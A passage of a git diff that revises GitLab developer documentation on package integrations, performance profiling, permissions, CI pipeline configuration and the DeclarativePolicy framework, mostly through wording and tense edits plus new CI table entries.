package file is a Base64 value of a particular field). These different encodings lead to slightly different implementations on GitLab and GitLab Workhorse. For more detailed information, review [file uploads](#file-uploads). -- **Endpoints**: Suggest a list of endpoint URLs that will be implemented in GitLab. +- **Endpoints**: Suggest a list of endpoint URLs to implement in GitLab. - **Split work**: Suggest a list of changes to do to incrementally build the MVC. - This will give a good idea of how much work there is to be done. Here is an example + This gives a good idea of how much work there is to be done. Here is an example list that would need to be adapted on a case by case basis: 1. Empty file structure (API file, base service for this package) 1. Authentication system for "logging in" to the package manager @@ -177,7 +177,7 @@ In particular, the upload request can have some [requirements in the GitLab Work ### Implementation -The implementation of the different Merge Requests will vary between different package system integrations. Contributors should take into account some important aspects of the implementation phase. +The implementation of the different Merge Requests varies between different package system integrations. Contributors should take into account some important aspects of the implementation phase. #### Authentication @@ -217,23 +217,23 @@ If there is package specific behavior for a given package manager, add those met delegate from the package model. Note that the existing package UI only displays information within the `packages_packages` and `packages_package_files` -tables. If the data stored in the metadata tables need to be displayed, a ~frontend change will be required. +tables. If the data stored in the metadata tables need to be displayed, a ~frontend change is required. #### File uploads File uploads should be handled by GitLab Workhorse using object accelerated uploads. What this means is that -the workhorse proxy that checks all incoming requests to GitLab will intercept the upload request, +the workhorse proxy that checks all incoming requests to GitLab intercept the upload request, upload the file, and forward a request to the main GitLab codebase only containing the metadata and file location rather than the file itself. An overview of this process can be found in the [development documentation](uploads.md#direct-upload). -In terms of code, this means a route will need to be added to the +In terms of code, this means a route must be added to the [GitLab Workhorse project](https://gitlab.com/gitlab-org/gitlab-workhorse) for each upload endpoint being added (instance, group, project). [This merge request](https://gitlab.com/gitlab-org/gitlab-workhorse/-/merge_requests/412/diffs) demonstrates adding an instance-level endpoint for Conan to workhorse. You can also see the Maven project level endpoint implemented in the same file. -Once the route has been added, you will need to add an additional `/authorize` version of the upload endpoint to your API file. +Once the route has been added, you must add an additional `/authorize` version of the upload endpoint to your API file. [Here is an example](https://gitlab.com/gitlab-org/gitlab/blob/398fef1ca26ae2b2c3dc89750f6b20455a1e5507/ee/lib/api/maven_packages.rb#L164) of the additional endpoint added for Maven. The `/authorize` endpoint verifies and authorizes the request from workhorse, then the normal upload endpoint is implemented below, consuming the metadata that workhorse provides in order to @@ -244,7 +244,7 @@ in your local development environment. ### Future Work -While working on the MVC, contributors will probably find features that are not mandatory for the MVC but can provide a better user experience. It's generally a good idea to keep an eye on those and open issues. +While working on the MVC, contributors might find features that are not mandatory for the MVC but can provide a better user experience. It's generally a good idea to keep an eye on those and open issues. Here are some examples diff --git a/doc/development/performance.md b/doc/development/performance.md index e20633a05f6..f3ce924de38 100644 --- a/doc/development/performance.md +++ b/doc/development/performance.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Performance Guidelines @@ -104,7 +104,7 @@ In short: - Never make claims based on just benchmarks, always measure in production to confirm your findings. - X being N times faster than Y is meaningless if you don't know what impact it - will actually have on your production environment. + has on your production environment. - A production environment is the _only_ benchmark that always tells the truth (unless your performance monitoring systems are not set up correctly). - If you must write a benchmark use the benchmark-ips Gem instead of Ruby's @@ -119,7 +119,7 @@ allowing you to profile which code is running on CPU in detail. It's important to note that profiling an application *alters its performance*. Different profiling strategies have different overheads. Stackprof is a sampling -profiler. It will sample stack traces from running threads at a configurable +profiler. It samples stack traces from running threads at a configurable frequency (e.g. 100hz, that is 100 stacks per second). This type of profiling has quite a low (albeit non-zero) overhead and is generally considered to be safe for production. @@ -241,7 +241,7 @@ BasePolicy#abilities (/Users/lupine/dev/gitlab.com/gitlab-org/gitlab-development Since the profile includes the work done by the test suite as well as the application code, these profiles can be used to investigate slow tests as well. However, for smaller runs (like this example), this means that the cost of -setting up the test suite will tend to dominate. +setting up the test suite tends to dominate. ### Production @@ -256,7 +256,7 @@ The following configuration options can be configured: - `STACKPROF_MODE`: See [sampling modes](https://github.com/tmm1/stackprof#sampling). Defaults to `cpu`. - `STACKPROF_INTERVAL`: Sampling interval. Unit semantics depend on `STACKPROF_MODE`. - For `object` mode this is a per-event interval (every `n`th event will be sampled) + For `object` mode this is a per-event interval (every `n`th event is sampled) and defaults to `1000`. For other modes such as `cpu` this is a frequency and defaults to `10000` μs (100hz). - `STACKPROF_FILE_PREFIX`: File path prefix where profiles are stored. Defaults @@ -268,8 +268,8 @@ The following configuration options can be configured: and disk overhead. Defaults to `true`. Once enabled, profiling can be triggered by sending a `SIGUSR2` signal to the -Ruby process. The process will begin sampling stacks. Profiling can be stopped -by sending another `SIGUSR2`. Alternatively, it will automatically stop after +Ruby process. The process begins sampling stacks. Profiling can be stopped +by sending another `SIGUSR2`. Alternatively, it stops automatically after the timeout. Once profiling stops, the profile is written out to disk at @@ -282,9 +282,9 @@ Currently supported profiling targets are: - Puma worker - Sidekiq -NOTE: **Note:** +NOTE: The Puma master process is not supported. Neither is Unicorn. -Sending SIGUSR2 to either of those will trigger restarts. In the case of Puma, +Sending SIGUSR2 to either of those triggers restarts. In the case of Puma, take care to only send the signal to Puma workers. This can be done via `pkill -USR2 puma:`. The `:` disambiguates between `puma @@ -292,7 +292,7 @@ This can be done via `pkill -USR2 puma:`. The `:` disambiguates between `puma worker processes), selecting the latter. For Sidekiq, the signal can be sent to the `sidekiq-cluster` process via `pkill --USR2 bin/sidekiq-cluster`, which will forward the signal to all Sidekiq +-USR2 bin/sidekiq-cluster`, which forwards the signal to all Sidekiq children. Alternatively, you can also select a specific pid of interest. Production profiles can be especially noisy. It can be helpful to visualize them @@ -305,7 +305,7 @@ bundle exec stackprof --stackcollapse /tmp/stackprof.55769.c6c3906452.profile | ## RSpec profiling -GitLab's development environment also includes the +The GitLab development environment also includes the [rspec_profiling](https://github.com/foraker/rspec_profiling) gem, which is used to collect data on spec execution times. This is useful for analyzing the performance of the test suite itself, or seeing how the performance of a spec @@ -358,7 +358,7 @@ We can use two approaches, often in combination, to track down memory issues: We can use `memory_profiler` for profiling. -The [`memory_profiler`](https://github.com/SamSaffron/memory_profiler) gem is already present in GitLab's `Gemfile`, +The [`memory_profiler`](https://github.com/SamSaffron/memory_profiler) gem is already present in the GitLab `Gemfile`, you just need to require it: ```ruby @@ -377,9 +377,9 @@ The report breaks down 2 key concepts: - Retained: long lived memory use and object count retained due to the execution of the code block. - Allocated: all object allocation and memory allocation during code block. -As a general rule, **retained** will always be smaller than or equal to allocated. +As a general rule, **retained** is always smaller than or equal to **allocated**. -The actual RSS cost will always be slightly higher as MRI heaps are not squashed to size and memory fragments. +The actual RSS cost is always slightly higher as MRI heaps are not squashed to size and memory fragments. ### Rbtrace @@ -444,11 +444,11 @@ Slow operations, like merging branches, or operations that are prone to errors directly in a web request as much as possible. This has numerous benefits such as: -1. An error won't prevent the request from completing. -1. The process being slow won't affect the loading time of a page. -1. In case of a failure it's easy to re-try the process (Sidekiq takes care of +1. An error doesn't prevent the request from completing. +1. The process being slow doesn't affect the loading time of a page. +1. In case of a failure you can retry the process (Sidekiq takes care of this automatically). -1. By isolating the code from a web request it will hopefully be easier to test +1. By isolating the code from a web request it should be easier to test and maintain. It's especially important to use Sidekiq as much as possible when dealing with @@ -480,7 +480,7 @@ end ## Caching -Operations that will often return the same result should be cached using Redis, +Operations that often return the same result should be cached using Redis, in particular Git operations. When caching data in Redis, make sure the cache is flushed whenever needed. For example, a cache for the list of tags should be flushed whenever a new tag is pushed or a tag is removed. @@ -494,7 +494,7 @@ the Repository class instead of leaking into other classes. When caching data, make sure to also memoize the result in an instance variable. While retrieving data from Redis is much faster than raw Git operations, it still has overhead. By caching the result in an instance variable, repeated calls to -the same method won't end up retrieving data from Redis upon every call. When +the same method don't retrieve data from Redis upon every call. When memoizing cached data in an instance variable, make sure to also reset the instance variable when flushing the cache. An example: @@ -512,7 +512,7 @@ end ## String Freezing In recent Ruby versions calling `freeze` on a String leads to it being allocated -only once and re-used. For example, on Ruby 2.3 or later this will only allocate the +only once and re-used. For example, on Ruby 2.3 or later this only allocates the "foo" String once: ```ruby @@ -523,10 +523,10 @@ end Depending on the size of the String and how frequently it would be allocated (before the `.freeze` call was added), this _may_ make things faster, but -there's no guarantee it will. +this isn't guaranteed. -Strings will be frozen by default in Ruby 3.0. To prepare our code base for -this eventuality, we will be adding the following header to all Ruby files: +Strings are frozen by default in Ruby 3.0. To prepare our codebase for +this eventuality, we are adding the following header to all Ruby files: ```ruby # frozen_string_literal: true @@ -549,8 +549,8 @@ Ruby offers several convenience functions that deal with file contents specifica or I/O streams in general. Functions such as `IO.read` and `IO.readlines` make it easy to read data into memory, but they can be inefficient when the data grows large. Because these functions read the entire contents of a data -source into memory, memory use will grow by _at least_ the size of the data source. -In the case of `readlines`, it will grow even further, due to extra bookkeeping +source into memory, memory use grows by _at least_ the size of the data source. +In the case of `readlines`, it grows even further, due to extra bookkeeping the Ruby VM has to perform to represent each line. Consider the following program, which reads a text file that is 750MB on disk: @@ -588,12 +588,12 @@ which is roughly two orders of magnitude more compared to reading the file line line instead. It was not just the raw memory usage that increased, but also how the garbage collector (GC) responded to this change in anticipation of future memory use. We can see that `malloc_increase_bytes` jumped to ~30MB, which compares to just ~4kB for a "fresh" Ruby program. This figure specifies how -much additional heap space the Ruby GC will claim from the operating system next time it runs out of memory. +much additional heap space the Ruby GC claims from the operating system next time it runs out of memory. Not only did we occupy more memory, we also changed the behavior of the application to increase memory use at a faster rate. -The `IO.read` function exhibits similar behavior, with the difference that no extra memory will -be allocated for each line object. +The `IO.read` function exhibits similar behavior, with the difference that no extra memory is +allocated for each line object. ### Recommendations @@ -630,7 +630,7 @@ production environments. ### Moving Allocations to Constants Storing an object as a constant so you only allocate it once _may_ improve -performance, but there's no guarantee this will. Looking up constants has an +performance, but this is not guaranteed. Looking up constants has an impact on runtime performance, and as such, using a constant instead of referencing an object directly may even slow code down. For example: diff --git a/doc/development/permissions.md b/doc/development/permissions.md index 859c838280e..35f0941b756 100644 --- a/doc/development/permissions.md +++ b/doc/development/permissions.md @@ -1,7 +1,7 @@ --- stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab permissions guide @@ -26,7 +26,7 @@ The visibility level of a group can be changed only if all subgroups and sub-projects have the same or lower visibility level. For example, a group can be set to internal only if all subgroups and projects are internal or private. -CAUTION: **Warning:** +WARNING: If you migrate an existing group to a lower visibility level, that action does not migrate subgroups in the same way. This is a [known issue](https://gitlab.com/gitlab-org/gitlab/-/issues/22406). @@ -70,9 +70,9 @@ can still view the groups and their entities (like epics). Project membership (where the group membership is already taken into account) is stored in the `project_authorizations` table. -CAUTION: **Caution:** +WARNING: Due to [an issue](https://gitlab.com/gitlab-org/gitlab/-/issues/219299), -projects in personal namespace will not show owner (`50`) permission in +projects in personal namespace do not show owner (`50`) permission in `project_authorizations` table. Note however that [`user.owned_projects`](https://gitlab.com/gitlab-org/gitlab/blob/0d63823b122b11abd2492bca47cc26858eee713d/app/models/user.rb#L906-916) is calculated properly. @@ -98,7 +98,7 @@ In the case of a complex resource, it should be broken into smaller pieces of in and each piece should be granted a different permission. A good example in this case is the _Merge Request widget_ and the _Security reports_. -Depending on the visibility level of the _Pipelines_, the _Security reports_ will be either visible +Depending on the visibility level of the _Pipelines_, the _Security reports_ are either visible in the widget or not. So, the _Merge Request widget_, the _Pipelines_, and the _Security reports_, have separate permissions. Moreover, the permissions for the _Merge Request widget_ and the _Pipelines_ are dependencies of the _Security reports_. diff --git a/doc/development/pipelines.md b/doc/development/pipelines.md index a8ef5701d50..3243c7ec753 100644 --- a/doc/development/pipelines.md +++ b/doc/development/pipelines.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Pipelines for the GitLab project @@ -412,7 +412,7 @@ Merge Request. This prevents `rspec fail-fast` duration from exceeding the avera This number can be overridden by setting a CI variable named `RSPEC_FAIL_FAST_TEST_FILE_COUNT_THRESHOLD`. -NOTE: **Note:** +NOTE: This experiment is only enabled when the CI variable `RSPEC_FAIL_FAST_ENABLED=true` is set. #### Determining related test files in a Merge Request @@ -435,7 +435,7 @@ We are using a custom mapping between source file to test files, maintained in t We follow the [PostgreSQL versions shipped with Omnibus GitLab](https://docs.gitlab.com/omnibus/package-information/postgresql_versions.html): -| PostgreSQL version | 13.0 (May 2020) | 13.1 (June 2020) | 13.2 (July 2020) | 13.3 (August 2020) | 13.4, 13.5 | 13.6 (November 2020) | 14.0 (May 2021?) | +| PostgreSQL version | 13.0 (May 2020) | 13.1 (June 2020) | 13.2 (July 2020) | 13.3 (August 2020) | 13.4, 13.5 | [13.7 (December 2020)](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5722) | 14.0 (May 2021?) | | ------ | --------------- | ---------------- | ---------------- | ------------------ | ------------ | -------------------- | ---------------- | | PG11 | MRs/`master`/`2-hour`/`nightly` | MRs/`master`/`2-hour`/`nightly` | MRs/`master`/`2-hour`/`nightly` | MRs/`master`/`2-hour`/`nightly` | MRs/`master`/`2-hour`/`nightly` | `nightly` | - | | PG12 | - | - | `nightly` | `2-hour`/`nightly` | `2-hour`/`nightly` | MRs/`2-hour`/`nightly` | `2-hour`/`nightly` | @@ -457,7 +457,7 @@ Consult the [Review Apps](testing_guide/review_apps.md) dedicated page for more ### As-if-FOSS jobs -The `* as-if-foss` jobs allows to run GitLab's test suite "as-if-FOSS", meaning as if the jobs would run in the context +The `* as-if-foss` jobs allows the GitLab test suite "as-if-FOSS", meaning as if the jobs would run in the context of the `gitlab-org/gitlab-foss` project. These jobs are only created in the following cases: - `gitlab-org/security/gitlab` merge requests. @@ -467,7 +467,7 @@ of the `gitlab-org/gitlab-foss` project. These jobs are only created in the foll The `* as-if-foss` jobs are run in addition to the regular EE-context jobs. They have the `FOSS_ONLY='1'` variable set and get their EE-specific folders removed before the tests start running. -The intent is to ensure that a change won't introduce a failure once the `gitlab-org/gitlab` project will be synced to +The intent is to ensure that a change doesn't introduce a failure after the `gitlab-org/gitlab` project is synced to the `gitlab-org/gitlab-foss` project. ## Performance @@ -485,22 +485,24 @@ request, be sure to start the `dont-interrupt-me` job before pushing. 1. All jobs must only pull caches by default. 1. All jobs must be able to pass with an empty cache. In other words, caches are only there to speed up jobs. -1. We currently have 6 different caches defined in +1. We currently have several different caches defined in [`.gitlab/ci/global.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/global.gitlab-ci.yml), with fixed keys: - `.rails-cache`. - `.static-analysis-cache`. + - `.coverage-cache` - `.qa-cache` - `.yarn-cache`. - `.assets-compile-cache` (the key includes `${NODE_ENV}` so it's actually two different caches). 1. Only 6 specific jobs, running in 2-hourly scheduled pipelines, are pushing (i.e. updating) to the caches: - `update-rails-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). - `update-static-analysis-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). + - `update-coverage-cache`, defined in [`.gitlab/ci/rails.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/rails.gitlab-ci.yml). - `update-qa-cache`, defined in [`.gitlab/ci/qa.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/qa.gitlab-ci.yml). - `update-assets-compile-production-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml). - `update-assets-compile-test-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml). - `update-yarn-cache`, defined in [`.gitlab/ci/frontend.gitlab-ci.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/.gitlab/ci/frontend.gitlab-ci.yml). -1. These jobs will run in merge requests whose title include `UPDATE CACHE`. +1. These jobs run in merge requests whose title include `UPDATE CACHE`. ### Pre-clone step @@ -519,7 +521,7 @@ variable: ```shell echo "Downloading archived master..." -wget -O /tmp/gitlab.tar.gz https://storage.googleapis.com/gitlab-ci-git-repo-cache/project-278964/gitlab-master.tar.gz +wget -O /tmp/gitlab.tar.gz https://storage.googleapis.com/gitlab-ci-git-repo-cache/project-278964/gitlab-master-shallow.tar.gz if [ ! -f /tmp/gitlab.tar.gz ]; then echo "Repository cache not available, cloning a new directory..." @@ -544,8 +546,7 @@ on a scheduled pipeline, it does the following: 1. Saves the data as a `.tar.gz`. 1. Uploads it into the Google Cloud Storage bucket. -When a CI job runs with this configuration, you'll see something like -this: +When a CI job runs with this configuration, the output looks something like this: ```shell $ eval "$CI_PRE_CLONE_SCRIPT" @@ -566,7 +567,7 @@ GitLab Team Member, find credentials in the [GitLab shared 1Password account](https://about.gitlab.com/handbook/security/#1password-for-teams). Note that this bucket should be located in the same continent as the -runner, or [network egress charges will apply](https://cloud.google.com/storage/pricing). +runner, or [you can incur network egress charges](https://cloud.google.com/storage/pricing). ## CI configuration internals @@ -628,17 +629,21 @@ that are scoped to a single [configuration keyword](../ci/yaml/README.md#job-key | Job definitions | Description | |------------------|-------------| -| `.default-tags` | Ensures a job has the `gitlab-org` tag to ensure it's using our dedicated runners. | | `.default-retry` | Allows a job to [retry](../ci/yaml/README.md#retry) upon `unknown_failure`, `api_failure`, `runner_system_failure`, `job_execution_timeout`, or `stuck_or_timeout_failure`. | | `.default-before_script` | Allows a job to use a default `before_script` definition suitable for Ruby/Rails tasks that may need a database running (e.g. tests). | | `.rails-cache` | Allows a job to use a default `cache` definition suitable for Ruby/Rails tasks. | | `.static-analysis-cache` | Allows a job to use a default `cache` definition suitable for static analysis tasks. | +| `.coverage-cache` | Allows a job to use a default `cache` definition suitable for coverage tasks. | +| `.qa-cache` | Allows a job to use a default `cache` definition suitable for QA tasks. | | `.yarn-cache` | Allows a job to use a default `cache` definition suitable for frontend jobs that do a `yarn install`. | | `.assets-compile-cache` | Allows a job to use a default `cache` definition suitable for frontend jobs that compile assets. | | `.use-pg11` | Allows a job to use the `postgres:11.6` and `redis:4.0-alpine` services. | -| `.use-pg11-ee` | Same as `.use-pg11` but also use the `docker.elastic.co/elasticsearch/elasticsearch:6.4.2` services. | +| `.use-pg11-ee` | Same as `.use-pg11` but also use the `docker.elastic.co/elasticsearch/elasticsearch:7.9.2` services. | +| `.use-pg12` | Allows a job to use the `postgres:12` and `redis:4.0-alpine` services. | +| `.use-pg12-ee` | Same as `.use-pg12` but also use the `docker.elastic.co/elasticsearch/elasticsearch:7.9.2` services. | | `.use-kaniko` | Allows a job to use the `kaniko` tool to build Docker images. | | `.as-if-foss` | Simulate the FOSS project by setting the `FOSS_ONLY='1'` environment variable. | +| `.use-docker-in-docker` | Allows a job to use Docker in Docker. | ### `rules`, `if:` conditions and `changes:` patterns @@ -655,33 +660,55 @@ and included in `rules` definitions via [YAML anchors](../ci/yaml/README.md#anch #### `if:` conditions +<!-- vale gitlab.Substitutions = NO --> + | `if:` conditions | Description | Notes | |------------------|-------------|-------| -| `if-not-canonical-namespace` | Matches if the project isn't in the canonical (`gitlab-org/`) or security (`gitlab-org/security`) namespace. | Use to create a job for forks (by using `when: on_success\|manual`), or **not** create a job for forks (by using `when: never`). | +| `if-not-canonical-namespace` | Matches if the project isn't in the canonical (`gitlab-org/`) or security (`gitlab-org/security`) namespace. | Use to create a job for forks (by using `when: on_success|manual`), or **not** create a job for forks (by using `when: never`). | | `if-not-ee` | Matches if the project isn't EE (i.e. project name isn't `gitlab` or `gitlab-ee`). | Use to create a job only in the FOSS project (by using `when: on_success|manual`), or **not** create a job if the project is EE (by using `when: never`). | | `if-not-foss` | Matches if the project isn't FOSS (i.e. project name isn't `gitlab-foss`, `gitlab-ce`, or `gitlabhq`). | Use to create a job only in the EE project (by using `when: on_success|manual`), or **not** create a job if the project is FOSS (by using `when: never`). | -| `if-default-refs` | Matches if the pipeline is for `master`, `/^[\d-]+-stable(-ee)?$/` (stable branches), `/^\d+-\d+-auto-deploy-\d+$/` (auto-deploy branches), `/^security\//` (security branches), merge requests, and tags. | Note that jobs won't be created for branches with this default configuration. | +| `if-default-refs` | Matches if the pipeline is for `master`, `/^[\d-]+-stable(-ee)?$/` (stable branches), `/^\d+-\d+-auto-deploy-\d+$/` (auto-deploy branches), `/^security\//` (security branches), merge requests, and tags. | Note that jobs aren't created for branches with this default configuration. | | `if-master-refs` | Matches if the current branch is `master`. | | +| `if-master-push` | Matches if the current branch is `master` and pipeline source is `push`. | | +| `if-master-schedule-2-hourly` | Matches if the current branch is `master` and pipeline runs on a 2-hourly schedule. | | +| `if-master-schedule-2-nightly` | Matches if the current branch is `master` and pipeline runs on a nightly schedule. | | +| `if-auto-deploy-branches` | Matches if the current branch is an auto-deploy one. | | | `if-master-or-tag` | Matches if the pipeline is for the `master` branch or for a tag. | | | `if-merge-request` | Matches if the pipeline is for a merge request. | | +| `if-merge-request-title-as-if-foss` | Matches if the pipeline is for a merge request and the MR title includes "RUN AS-IF-FOSS". | | +| `if-merge-request-title-update-caches` | Matches if the pipeline is for a merge request and the MR title includes "UPDATE CACHE". | | +| `if-merge-request-title-run-all-rspec` | Matches if the pipeline is for a merge request and the MR title includes "RUN ALL RSPEC". | | +| `if-security-merge-request` | Matches if the pipeline is for a security merge request. | | +| `if-security-schedule` | Matches if the pipeline is for a security scheduled pipeline. | | | `if-nightly-master-schedule` | Matches if the pipeline is for a `master` scheduled pipeline with `$NIGHTLY` set. | | | `if-dot-com-gitlab-org-schedule` | Limits jobs creation to scheduled pipelines for the `gitlab-org` group on GitLab.com. | | | `if-dot-com-gitlab-org-master` | Limits jobs creation to the `master` branch for the `gitlab-org` group on GitLab.com. | | | `if-dot-com-gitlab-org-merge-request` | Limits jobs creation to merge requests for the `gitlab-org` group on GitLab.com. | | | `if-dot-com-gitlab-org-and-security-tag` | Limits job creation to tags for the `gitlab-org` and `gitlab-org/security` groups on GitLab.com. | | | `if-dot-com-gitlab-org-and-security-merge-request` | Limit jobs creation to merge requests for the `gitlab-org` and `gitlab-org/security` groups on GitLab.com. | | +| `if-dot-com-gitlab-org-and-security-tag` | Limit jobs creation to tags for the `gitlab-org` and `gitlab-org/security` groups on GitLab.com. | | | `if-dot-com-ee-schedule` | Limits jobs to scheduled pipelines for the `gitlab-org/gitlab` project on GitLab.com. | | | `if-cache-credentials-schedule` | Limits jobs to scheduled pipelines with the `$CI_REPO_CACHE_CREDENTIALS` variable set. | | +| `if-rspec-fail-fast-disabled` | Limits jobs to pipelines with `$RSPEC_FAIL_FAST_ENABLED` variable not set to `"true"`. | | +| `if-rspec-fail-fast-skipped` | Matches if the pipeline is for a merge request and the MR title includes "SKIP RSPEC FAIL-FAST". | | +| `if-security-pipeline-merge-result` | Matches if the pipeline is for a security merge request triggered by `@gitlab-release-tools-bot`. | | + +<!-- vale gitlab.Substitutions = YES --> #### `changes:` patterns | `changes:` patterns | Description | |------------------------------|--------------------------------------------------------------------------| -| `ci-patterns` | Only create job for CI config-related changes. | -| `yaml-patterns` | Only create job for YAML-related changes. | +| `ci-patterns` | Only create job for CI configuration-related changes. | +| `ci-build-images-patterns` | Only create job for CI configuration-related changes related to the `build-images` stage. | +| `ci-review-patterns` | Only create job for CI configuration-related changes related to the `review` stage. | +| `ci-qa-patterns` | Only create job for CI configuration-related changes related to the `qa` stage. | +| `yaml-lint-patterns` | Only create job for YAML-related changes. | | `docs-patterns` | Only create job for docs-related changes. | | `frontend-dependency-patterns` | Only create job when frontend dependencies are updated (i.e. `package.json`, and `yarn.lock`). changes. | | `frontend-patterns` | Only create job for frontend-related changes. | +| `backend-patterns` | Only create job for backend-related changes. | +| `db-patterns` | Only create job for DB-related changes. | | `backstage-patterns` | Only create job for backstage-related changes (i.e. Danger, fixtures, RuboCop, specs). | | `code-patterns` | Only create job for code-related changes. | | `qa-patterns` | Only create job for QA-related changes. | diff --git a/doc/development/policies.md b/doc/development/policies.md index b44367f7075..c1a87990bc9 100644 --- a/doc/development/policies.md +++ b/doc/development/policies.md @@ -1,14 +1,14 @@ --- stage: Manage group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # `DeclarativePolicy` framework The DeclarativePolicy framework is designed to assist in performance of policy checks, and to enable ease of extension for EE. The DSL code in `app/policies` is what `Ability.allowed?` uses to check whether a particular action is allowed on a subject. -The policy used is based on the subject's class name - so `Ability.allowed?(user, :some_ability, project)` will create a `ProjectPolicy` and check permissions on that. +The policy used is based on the subject's class name - so `Ability.allowed?(user, :some_ability, project)` creates a `ProjectPolicy` and check permissions on that. ## Managing Permission Rules @@ -16,7 +16,7 @@ Permissions are broken into two parts: `conditions` and `rules`. Conditions are ### Conditions -Conditions are defined by the `condition` method, and are given a name and a block. The block will be executed in the context of the policy object - so it can access `@user` and `@subject`, as well as call any methods defined on the policy. Note that `@user` may be nil (in the anonymous case), but `@subject` is guaranteed to be a real instance of the subject class. +Conditions are defined by the `condition` method, and are given a name and a block. The block is executed in the context of the policy object - so it can access `@user` and `@subject`, as well as call any methods defined on the policy. Note that `@user` may be nil (in the anonymous case), but `@subject` is guaranteed to be a real instance of the subject class. ```ruby class FooPolicy < BasePolicy @@ -34,9 +34,9 @@ class FooPolicy < BasePolicy end ``` -When you define a condition, a predicate method is defined on the policy to check whether that condition passes - so in the above example, an instance of `FooPolicy` will also respond to `#is_public?` and `#thing?`. +When you define a condition, a predicate method is defined on the policy to check whether that condition passes - so in the above example, an instance of `FooPolicy` also responds to `#is_public?` and `#thing?`. -Conditions are cached according to their scope. Scope and ordering will be covered later. +Conditions are cached according to their scope. Scope and ordering is covered later. ### Rules @@ -63,13 +63,23 @@ end Within the rule DSL, you can use: - A regular word mentions a condition by name - a rule that is in effect when that condition is truthy. -- `~` indicates negation. +- `~` indicates negation, also available as `negate`. - `&` and `|` are logical combinations, also available as `all?(...)` and `any?(...)`. - `can?(:other_ability)` delegates to the rules that apply to `:other_ability`. Note that this is distinct from the instance method `can?`, which can check dynamically - this only configures a delegation to another ability. +`~`, `&` and `|` operators are overridden methods in +[`DeclarativePolicy::Rule::Base`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/declarative_policy/rule.rb). + +Do not use boolean operators such as `&&` and `||` within the rule DSL, +as conditions within rule blocks are objects, not booleans. The same +applies for ternary operators (`condition ? ... : ...`), and `if` +blocks. These operators cannot be overridden, and are hence banned via a +[custom +cop](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49771). + ## Scores, Order, Performance -To see how the rules get evaluated into a judgment, it is useful in a console to use `policy.debug(:some_ability)`. This will print the rules in the order they are evaluated. +To see how the rules get evaluated into a judgment, it is useful in a console to use `policy.debug(:some_ability)`. This prints the rules in the order they are evaluated. For example, let's say you wanted to debug `IssuePolicy`. You might run the debugger in this way: @@ -109,9 +119,9 @@ When a policy is asked whether a particular ability is allowed compute all the conditions on the policy. First, only the rules relevant to that particular ability are selected. Then, the execution model takes advantage of short-circuiting, and attempts to sort rules based on a -heuristic of how expensive they will be to calculate. The sorting is -dynamic and cache-aware, so that previously calculated conditions will -be considered first, before computing other conditions. +heuristic of how expensive they are to calculate. The sorting is +dynamic and cache-aware, so that previously calculated conditions are +considered first, before computing other conditions. Note that the score is chosen by a developer via the `score:` parameter in a `condition` to denote how expensive evaluating this rule would be @@ -119,7 +129,7 @@ relative to other rules. ## Scope -Sometimes, a condition will only use data from `@user` or only from `@subject`. In this case, we want to change the scope of the caching, so that we don't recalculate conditions unnecessarily. For example, given: +Sometimes, a condition only uses data from `@user` or only from `@subject`. In this case, we want to change the scope of the caching, so that we don't recalculate conditions unnecessarily. For example, given: ```ruby class FooPolicy < BasePolicy @@ -135,10 +145,10 @@ Naively, if we call `Ability.allowed?(user1, :some_ability, foo)` and `Ability.a condition(:expensive_condition, scope: :subject) { @subject.expensive_query? } ``` -then the result of the condition will be cached globally only based on the subject - so it will not be calculated repeatedly for different users. Similarly, `scope: :user` will cache only based on the user. +then the result of the condition is cached globally only based on the subject - so it is not calculated repeatedly for different users. Similarly, `scope: :user` caches only based on the user. **DANGER**: If you use a `:scope` option when the condition actually uses data from -both user and subject (including a simple anonymous check!) your result will be cached at too global of a scope and will result in cache bugs. +both user and subject (including a simple anonymous check!) your result is cached at too global of a scope and results in cache bugs. Sometimes we are checking permissions for a lot of users for one subject, or a lot of subjects for one user. In this case, we want to set a *preferred scope* - i.e. tell the system that we prefer rules that can be cached on the repeated parameter. For example, in `Ability.users_that_can_read_project`: @@ -150,7 +160,7 @@ def users_that_can_read_project(users, project) end ``` -This will, for example, prefer checking `project.public?` to checking `user.admin?`. +This, for example, prefers checking `project.public?` to checking `user.admin?`. ## Delegation @@ -162,7 +172,7 @@ class FooPolicy < BasePolicy end ``` -will include all rules from `ProjectPolicy`. The delegated conditions will be evaluated with the 